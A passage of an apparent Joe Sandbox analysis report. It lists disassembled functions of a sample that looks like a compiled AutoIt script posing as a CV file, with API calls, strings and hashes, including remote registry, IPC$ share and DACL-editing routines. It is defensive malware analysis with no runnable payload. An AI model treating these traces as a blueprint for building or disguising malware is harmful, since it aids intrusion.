DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 003CD1EC
CloseHandle.KERNEL32(00000000), ref: 003CD1F7
RemoveDirectoryW.KERNEL32(?), ref: 003CD200
CloseHandle.KERNEL32(00000000), ref: 003CD20A

Strings

:, xrefs: 003CD11B
\??\%s, xrefs: 003CD0F4
\, xrefs: 003CD110

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 34471110eaa6d4e73a77bdc93df035bd82c46267b69f509ada3014e5a309cb2b
Instruction ID: 0b89ba45539449d2ff40e7bbf2e09b2e3a31fe50eea8f3bb6035dfc5f4bf556a
Opcode Fuzzy Hash: 34471110eaa6d4e73a77bdc93df035bd82c46267b69f509ada3014e5a309cb2b
Instruction Fuzzy Hash: BA31A4B6900109ABDB22DFA4DC49FEB77BCEF89740F1041BAF509E6161E770DA458B24

Function 003B87CD Relevance: 22.7, APIs: 15, Instructions: 210COMMONLIBRARYCODE

Download Yara Rule

APIs

_copy_environ.LIBCMT ref: 003B882D
___wtomb_environ.LIBCMT ref: 003B884F

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

__malloc_crt.LIBCMT ref: 003B8875
__malloc_crt.LIBCMT ref: 003B8892
_free.LIBCMT ref: 003B88C9
__recalloc_crt.LIBCMT ref: 003B8902
__recalloc_crt.LIBCMT ref: 003B8947
_strlen.LIBCMT ref: 003B8973
__calloc_crt.LIBCMT ref: 003B897D
_strlen.LIBCMT ref: 003B898C
SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 003B89BA
_free.LIBCMT ref: 003B89D4
_free.LIBCMT ref: 003B89E1
_free.LIBCMT ref: 003B89F3
__invoke_watson.LIBCMT ref: 003B8A0D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
String ID:
API String ID: 884005220-0
Opcode ID: 38bcb4936f5a99dd04f58cb7721b18a3e85f8c1cc3ecb4b1d17d4306930a6253
Instruction ID: 808ddbf3894a1e94a6eeff4c00e43ebf51b03407669398ba0dffe103dd6a0ee5
Opcode Fuzzy Hash: 38bcb4936f5a99dd04f58cb7721b18a3e85f8c1cc3ecb4b1d17d4306930a6253
Instruction Fuzzy Hash: 4361E032900215EFDB236F64DC42BFA77ACEF02329F21012AEA01EA991DF35D941C795

Function 003EE731 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 003EE754
GetFileSize.KERNEL32(00000000,00000000), ref: 003EE76B
GlobalAlloc.KERNEL32(00000002,00000000), ref: 003EE776
CloseHandle.KERNEL32(00000000), ref: 003EE783
GlobalLock.KERNEL32(00000000), ref: 003EE78C
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 003EE79B
GlobalUnlock.KERNEL32(00000000), ref: 003EE7A4
CloseHandle.KERNEL32(00000000), ref: 003EE7AB
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 003EE7BC
OleLoadPicture.OLEAUT32(?,00000000,00000000,0040D9BC,?), ref: 003EE7D5
GlobalFree.KERNEL32(00000000), ref: 003EE7E5
GetObjectW.GDI32(?,00000018,000000FF), ref: 003EE809
CopyImage.USER32(?,00000000,?,?,00002000), ref: 003EE834
DeleteObject.GDI32(00000000), ref: 003EE85C
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 003EE872

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 88f85f14edc695692532c92cc368a49e55e502209fa2a1befa81005e24e55f8f
Instruction ID: e659077b3d6904f11b159fde242a28f760b3cbea4d92cb6afa97920857b599e9
Opcode Fuzzy Hash: 88f85f14edc695692532c92cc368a49e55e502209fa2a1befa81005e24e55f8f
Instruction Fuzzy Hash: EE415E75900219FFDB119FA5CD48EAA7BB8FF89B15F108168F906E72A0D7309D44DB20

Function 003D05F8 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 003D076F
_wcscat.LIBCMT ref: 003D0787
_wcscat.LIBCMT ref: 003D0799
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 003D07AE
SetCurrentDirectoryW.KERNEL32(?), ref: 003D07C2
GetFileAttributesW.KERNEL32(?), ref: 003D07DA
SetFileAttributesW.KERNEL32(?,00000000), ref: 003D07F4
SetCurrentDirectoryW.KERNEL32(?), ref: 003D0806

Strings

*.*, xrefs: 003D0845

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 88314572974160acb3451678ac0856fe134d6156cec90c300bcfe2cf38855f9a
Instruction ID: bf38d8958b7bf64e996c4573ac6e44039fa9199075a6479b6cc3ec7c96881c55
Opcode Fuzzy Hash: 88314572974160acb3451678ac0856fe134d6156cec90c300bcfe2cf38855f9a
Instruction Fuzzy Hash: 8C8180725043019FCB2AEF64D845A6EB7E8FBC8714F15882FF885DB351E630D9548B92

Function 003EEEEB Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0039B34E: GetWindowLongW.USER32(?,000000EB), ref: 0039B35F

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 003EEF3B
GetFocus.USER32 ref: 003EEF4B
GetDlgCtrlID.USER32(00000000), ref: 003EEF56
_memset.LIBCMT ref: 003EF081
GetMenuItemInfoW.USER32 ref: 003EF0AC
GetMenuItemCount.USER32(00000000), ref: 003EF0CC
GetMenuItemID.USER32(?,00000000), ref: 003EF0DF
GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 003EF113
GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 003EF15B
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 003EF193
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 003EF1C8

Strings

0, xrefs: 003EF079

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 695011f946f180b64898f85a55f0bd0077f324bd6e10862f6597ebd80657bc2a
Instruction ID: 03cc9be6605ffc05a6b4f11a9147a51f79b4950bb105fcc159050ec734b63756
Opcode Fuzzy Hash: 695011f946f180b64898f85a55f0bd0077f324bd6e10862f6597ebd80657bc2a
Instruction Fuzzy Hash: 3781AD716083A5EFDB12CF16C884A6BBBE8FF88314F01462EF99997291D770D805CB52

Function 003BA867 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003BABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 003BABD7
Part of subcall function 003BABBB: GetLastError.KERNEL32(?,003BA69F,?,?,?), ref: 003BABE1
Part of subcall function 003BABBB: GetProcessHeap.KERNEL32(00000008,?,?,003BA69F,?,?,?), ref: 003BABF0
Part of subcall function 003BABBB: HeapAlloc.KERNEL32(00000000,?,003BA69F,?,?,?), ref: 003BABF7
Part of subcall function 003BABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 003BAC0E

Part of subcall function 003BAC56: GetProcessHeap.KERNEL32(00000008,003BA6B5,00000000,00000000,?,003BA6B5,?), ref: 003BAC62
Part of subcall function 003BAC56: HeapAlloc.KERNEL32(00000000,?,003BA6B5,?), ref: 003BAC69
Part of subcall function 003BAC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,003BA6B5,?), ref: 003BAC7A

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 003BA8CB
_memset.LIBCMT ref: 003BA8E0
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 003BA8FF
GetLengthSid.ADVAPI32(?), ref: 003BA910
GetAce.ADVAPI32(?,00000000,?), ref: 003BA94D
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 003BA969
GetLengthSid.ADVAPI32(?), ref: 003BA986
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 003BA995
HeapAlloc.KERNEL32(00000000), ref: 003BA99C
GetLengthSid.ADVAPI32(?,00000008,?), ref: 003BA9BD
CopySid.ADVAPI32(00000000), ref: 003BA9C4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 003BA9F5
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 003BAA1B
SetUserObjectSecurity.USER32(?,00000004,?), ref: 003BAA2F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 4d30d777ad107f69dc56c81953b2466dec20232df964680111eb39ab68eee637
Instruction ID: 11ed8e8a0bea9dd742d462d183f694733c8fc40097ef3356345b7a0acb04a542
Opcode Fuzzy Hash: 4d30d777ad107f69dc56c81953b2466dec20232df964680111eb39ab68eee637
Instruction Fuzzy Hash: 22516D71900A09AFDF15DFA0DD45EEEBBB9FF04308F048129FA15AB690DB359A05CB61

Function 003CCC5C Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 155COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF), ref: 003CCCA3
LoadStringW.USER32(?,?,00000FFF,?), ref: 003CCCC5
__swprintf.LIBCMT ref: 003CCD1E
__swprintf.LIBCMT ref: 003CCD37
_wprintf.LIBCMT ref: 003CCDED
_wprintf.LIBCMT ref: 003CCE0B

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 003CCDE8
Line %d (File "%s"):, xrefs: 003CCD18, 003CCD31
Error: , xrefs: 003CCDB5
"%s" (%d) : ==> %s:, xrefs: 003CCE06
^ ERROR, xrefs: 003CCD8F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: LoadString__swprintf_wprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2889450990-2391861430
Opcode ID: 3a050cfbc38eb550b08cc3984574dcea4139ce76319af220b4360d5e353adfe9
Instruction ID: 239dbf1b9a38756d2eb5ce6c2ed4cbd086bef9da5f63f307be6cc66591c371d7
Opcode Fuzzy Hash: 3a050cfbc38eb550b08cc3984574dcea4139ce76319af220b4360d5e353adfe9
Instruction Fuzzy Hash: 18515071800609AACF16FBE0CD46FEEB778AF09345F1001A6F505B60A2EB756E59DB60

Function 003CCA48 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 151COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 003CCA8F
LoadStringW.USER32(00000072,?,00000FFF,?), ref: 003CCAB0
__swprintf.LIBCMT ref: 003CCB09
__swprintf.LIBCMT ref: 003CCB22
_wprintf.LIBCMT ref: 003CCBCD
_wprintf.LIBCMT ref: 003CCBEB

Strings

^ ERROR , xrefs: 003CCB64
"%s" (%d) : ==> %s:%s%s, xrefs: 003CCBC8
Line %d (File "%s"):, xrefs: 003CCB03, 003CCB1C
Error: , xrefs: 003CCB95
"%s" (%d) : ==> %s:, xrefs: 003CCBE6

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: LoadString__swprintf_wprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2889450990-3420473620
Opcode ID: 3eb1b69264ab00373aea0362e2d59ff9a7fdb6d02fcc28585f2b589bbf6c60e2
Instruction ID: 781da58b5713f7d2124bfe1e75eebf69dec4b5130de62323a6976a5c6c96d960
Opcode Fuzzy Hash: 3eb1b69264ab00373aea0362e2d59ff9a7fdb6d02fcc28585f2b589bbf6c60e2
Instruction Fuzzy Hash: 43519171800609AACF16FBE0CD46FEEB778AF04340F1040A6F505760A2EB756F59DB60

Function 003E3C06 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 109COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,003E2BB5,?,?), ref: 003E3C1D

Strings

HKEY_LOCAL_MACHINE, xrefs: 003E3C6C
HKU, xrefs: 003E3D15
HKLM, xrefs: 003E3C81
HKEY_CURRENT_CONFIG, xrefs: 003E3CC0
$EC, xrefs: 003E3C36
HKEY_USERS, xrefs: 003E3D04
HKCC, xrefs: 003E3CD1
HKEY_CLASSES_ROOT, xrefs: 003E3C96
HKEY_CURRENT_USER, xrefs: 003E3CE2
HKCU, xrefs: 003E3CF3
HKCR, xrefs: 003E3CAB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BuffCharUpper
String ID: $EC$HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-417088306
Opcode ID: dc159446fbe14e9b93df70b558f9b75abbc0a5b42ffdd0b9513c08127d355b4a
Instruction ID: 73f5238fee6485d18f635ef9281e25dd78e2e4d8b63898b70ed4191890a690ba
Opcode Fuzzy Hash: dc159446fbe14e9b93df70b558f9b75abbc0a5b42ffdd0b9513c08127d355b4a
Instruction Fuzzy Hash: 42417E3010029A9BCF02EF11DC45AEB3365BF56300F115955EC955B3A2EB74EE0ACB10

Function 003C55BD Relevance: 19.7, APIs: 13, Instructions: 213windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003C55D7
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 003C5664
GetMenuItemCount.USER32(00441708), ref: 003C56ED
DeleteMenu.USER32(00441708,00000005,00000000,000000F5,?,?), ref: 003C577D
DeleteMenu.USER32(00441708,00000004,00000000), ref: 003C5785
DeleteMenu.USER32(00441708,00000006,00000000), ref: 003C578D
DeleteMenu.USER32(00441708,00000003,00000000), ref: 003C5795
GetMenuItemCount.USER32(00441708), ref: 003C579D
SetMenuItemInfoW.USER32(00441708,00000004,00000000,00000030), ref: 003C57D3
GetCursorPos.USER32(?), ref: 003C57DD
SetForegroundWindow.USER32(00000000), ref: 003C57E6
TrackPopupMenuEx.USER32(00441708,00000000,?,00000000,00000000,00000000), ref: 003C57F9
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 003C5805

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: d26e7f711a99de82be6f176ae1a58fcdabc40ab0fcdc7bd09808a531bbf4d847
Instruction ID: 39f2f722622d6904ff52a650684e34060f29eb7063bfbd1cdbc1b7a7cbfedb23
Opcode Fuzzy Hash: d26e7f711a99de82be6f176ae1a58fcdabc40ab0fcdc7bd09808a531bbf4d847
Instruction Fuzzy Hash: C771F470641605BFEB229B54CC49FAABF69FF00368F244219F519EA1E1C7717CA0DB94

Function 003BA14D Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003BA1DC
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 003BA211
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 003BA22D
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 003BA249
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 003BA273
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 003BA29B
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 003BA2A6
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 003BA2AB

Strings

\IPC$, xrefs: 003BA1F3
SOFTWARE\Classes\, xrefs: 003BA17D
\CLSID, xrefs: 003BA193

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1687751970-22481851
Opcode ID: e022d4e4d12e6512c7e822713c4424e43fee987d2c5c73dfe6baed353d3fb042
Instruction ID: 9550b1e5161bc7993a75c5f4ed434f72991cd338047d8a453d1a80a97d8ad36b
Opcode Fuzzy Hash: e022d4e4d12e6512c7e822713c4424e43fee987d2c5c73dfe6baed353d3fb042
Instruction Fuzzy Hash: 5E41F576C10629ABDF16EFA4DC85DEDB7B8BF08304F004569F901BB1A0EA749E05CB50

Function 003C67E9 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 107windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 003C67FD
__swprintf.LIBCMT ref: 003C680A

Part of subcall function 003A172B: __woutput_l.LIBCMT ref: 003A1784

FindResourceW.KERNEL32(?,?,0000000E), ref: 003C6834
LoadResource.KERNEL32(?,00000000), ref: 003C6840
LockResource.KERNEL32(00000000), ref: 003C684D
FindResourceW.KERNEL32(?,?,00000003), ref: 003C686D
LoadResource.KERNEL32(?,00000000), ref: 003C687F
SizeofResource.KERNEL32(?,00000000), ref: 003C688E
LockResource.KERNEL32(?), ref: 003C689A
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 003C68F9

Strings

5C, xrefs: 003C67F6

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID: 5C
API String ID: 1433390588-2849326592
Opcode ID: d4345d51f99d74d84f89547983b12520c9278fa35ec47df62d701e0cf25a49a7
Instruction ID: a1d748839cc9a033638400410860979c5032c4e300a00a3dc588d0e1d0b58b55
Opcode Fuzzy Hash: d4345d51f99d74d84f89547983b12520c9278fa35ec47df62d701e0cf25a49a7
Instruction Fuzzy Hash: 93317E7590021ABBDB129FA0DD46EBF7BA8EF09341F008429F902E6150E774DD55DBA4

Function 003C25B5 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,003F36F4,00000010,?,Bad directive syntax error,0041DC00,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 003C25D6
LoadStringW.USER32(00000000,?,003F36F4,00000010), ref: 003C25DD
_wprintf.LIBCMT ref: 003C2610
__swprintf.LIBCMT ref: 003C2632
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 003C26A1

Strings

%s (%d) : ==> %s.: %s %s, xrefs: 003C260B
Line %d (File "%s"):, xrefs: 003C2647
., xrefs: 003C2687
Error: , xrefs: 003C266F
Line %d:, xrefs: 003C262C

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1080873982-4153970271
Opcode ID: c2784663fa9cb3c186a14bdc8666e3b8ae1ddc1173d682f5cad224332bef0904
Instruction ID: 34ee681a2fd0d7e2ef536d6221ade0aa912183fbff171e2dbbba3a61967b2add
Opcode Fuzzy Hash: c2784663fa9cb3c186a14bdc8666e3b8ae1ddc1173d682f5cad224332bef0904
Instruction Fuzzy Hash: BB212F31900319AFCF12BF90CC4AFEE7B79BF19304F044496F5156A0A2DA75AA68DB64

Function 003C7AD9 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 003C7B42
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 003C7B58
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003C7B69
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 003C7B7B
